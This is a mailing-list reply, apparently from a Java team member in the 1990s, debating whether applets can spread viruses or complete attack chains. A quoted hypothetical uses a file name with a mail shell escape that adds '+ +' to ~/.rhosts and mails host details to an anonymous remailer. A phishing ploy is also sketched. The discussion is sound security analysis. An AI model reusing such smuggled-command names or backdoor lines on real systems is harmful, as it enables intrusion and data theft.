Thanks for the great mail.
> But aren't you assuming people will follow the rules you've set up for
> this game? You say things like "in Java", and "impossible".
I try not to make this assumption. I try to assume that web browsing
is a "given." That is that the user community has chosen to take
on the risk of exposing themselves to net scams in the form of
web pages.
> * It is not impossible given stupid users that disable your
> restrictive defaults, setting READPATH==WRITEPATH==everywhere?
> You leave a heavy burden on the security officer, since Java is
> so extensibly configurable. This might be the thing that tips the
> balance, so to say.
It is our goal to clearly and precisely enumerate the "knobs"
available and as they relate to security. Since we understand
the effect of the knobs on applet capabilities we can explain
exactly what risks the user entails by setting them. We also
provide a mechanism so that the security officer can disable
the adustment of any knobs, however that mechanism can be defeated
by a power user who rebuilds the system from source.
Any suggestions on how to prevent users from running applications
on their nodes that they have constructed would be interesting.
> * you say "within JAVA", assuming somehow that _only Java will be
> used_ for a virus? there are plenty of other bits and pieces out
> there that together with Java might make up a virus. The problem of
> virii has changed somewhat, as is shown by the Word 6 virus. You
> are reasoning about virii on *one* level, the byte code level. But
> what about higher-level virii?
No, I say "within Java" because that is the change to the system.
Presuming that you have some understanding of how secure your
system is "before Java" then I can help you understand the impact
of "after Java." No one in the Java group should claim that Java
has any _immunization_ effect, only that it doesn't increase
susceptiblity. The bits and pieces that are there now are still
there, waiting to be exploited. My favorite virus so far is the
"don't read you mail because it can infect your system" virus
which is entirely semantic based.
> * The messiness of it all. Java opens up a lot of unexpected
> information and modification pathways. These new changes might
> change the security analysis of *another* program in a significant
> way, that *together* might become a major security problem.
No, it doesn't.
> 1/ java applet downloaded, does something neat, and also at the same
> time deposits a file in the allowed file space, containing
> malicious data. Lets say that it's filename is
>
> 'look \n
> ~!echo + + > ~/.rhosts; echo $user `hostname` > mail anon @
remail .
org'
>
> (that was the filename.)
Cute but it doesn't fly. Since Applets cannot replace FileOutputStream
(the only way to create a file on the host system) and FileOutputStream
will in fact reject this "name" out of hand, but even if it didn't
it would put up a dialog box that said, "This applet is trying to open
'...<your command> ...' should this be allowed? Yes or No?" and the
user will say "Gee that is a stupid filename, no way!"
> it also makes the file setuid/setgid or something like that.
> Something that will make most logging systems notice.
Java doesn't even come close to offering the ability to change
protection bits.
> 2/ during the night the security audit starts, and walks through
> the file tree with something like this;
>
> find /home -perm 4000 -print | mail staff @
$50 .
com
>
> This will generate perfectly legitimate input to the mail
> program.
>
> illegal file(s) found!
> Files:
> look
> ~!echo + + > ~/.rhosts; echo $user `hostname` > mail anon @
remail .
org
>
> mail understands the ~! to be a shell escape, that is executed.
> The intruder will have a couple of hours before the admin reads
> this mail.
Again, doing strict vulnerability analysis on this attack requires that
a) the applet can create a file with your bogus name, and b) the
permissions can be diddled. Neither of which are possible and there
is no mechanism for getting around this.
> I would argue there are uncountable numbers of similar attacks. And
> yes, you can probably introduce some kind of virus through this
> scheme, if you want to.
And I assert that it is fundamentally impossible to "damage" the users
system in a meaningful way if all an applet can do is render pixels
and play sounds. (Actually I take that back, consider the person
who has in their office a PC with a voice input system and our
malicious user comes in, asks you to show how you can delete files
by voice, and how you can open some other file by voice, which is
covertly recorded and then digitized and spliced into a command
to delete a critical control file and when you visit their page
an applet is loaded that blurts out of the speaker "Computer! Delete
config.sys. Reboot!" in your voice.)
So now that you know it is _impossible_ to write a file from an
applet without its name popping up in a dialog box (that the
applet cannot prevent) And it is impossible to diddle with the
permission bits, tell me how you can create a virus ?
> Your concentration on virii is because you believe this is/was the
> main threat with Java. I don't think that is the main threat. I
> instead believe that Java might "complete some chains of small
> deficiencies", and it is general enough to do this in non-obvious
> ways.
Actually Virii are simply popular with the press, they are not a
threat with Java. The _real_ threats are preventing applets from
getting information from inside the firewall and exporting it
outside (or even to a confederate inside). Here the defenses
get much more interesting, especially if you start from the
position that the attacker already has control over your name
server inside your firewall.
> And you reason about Java as a stand-alone thing. It is not, it is
> part of a complex ecology of tools, scripts, configurations and
> practices. Why do you assume an attacker will "play by the rules"?
On the contrary, I assume the attacker won't play by the rules, but
by the same token if I send mail to all of the users inside a firewall
and say "We're rebuilding the password database, please send us
your user name and password so that you will be able to log into
your system after you reboot." A non-zero percentage will send me
their passwords! I can increase the odds by forging the mail from
an operator alias. I want to make sure that Java won't make it any
easier to make this attack than it is now. But I can't prevent it,
simply not participate. I don't assume Java is standalone but I
do assume that most people will be simply browsing with it. I know
how to crack systems and I recognize that it is nearly impossible
to think of something beyond one's own experience so I encourage input
like yours and others on the list.
> I believe Java, and the Java team of course, is doing an excellent
> job. And immediately does the next security monster rear it's ugly
> head. Not fair! :-)
Thanks for the kudos (and your virii thoughts!) for those of you
doing audits you may wish to start by grepping for the word 'native'
in the Java source hierarchy, this will give you a list of all files
that transistion out of Javas security domain. Take a look at what
the methods do and how they are implemented. This will give you a
rough cut at the risk vectors.
--Chuck McManis
Java guy
Follow-Ups:
|
|
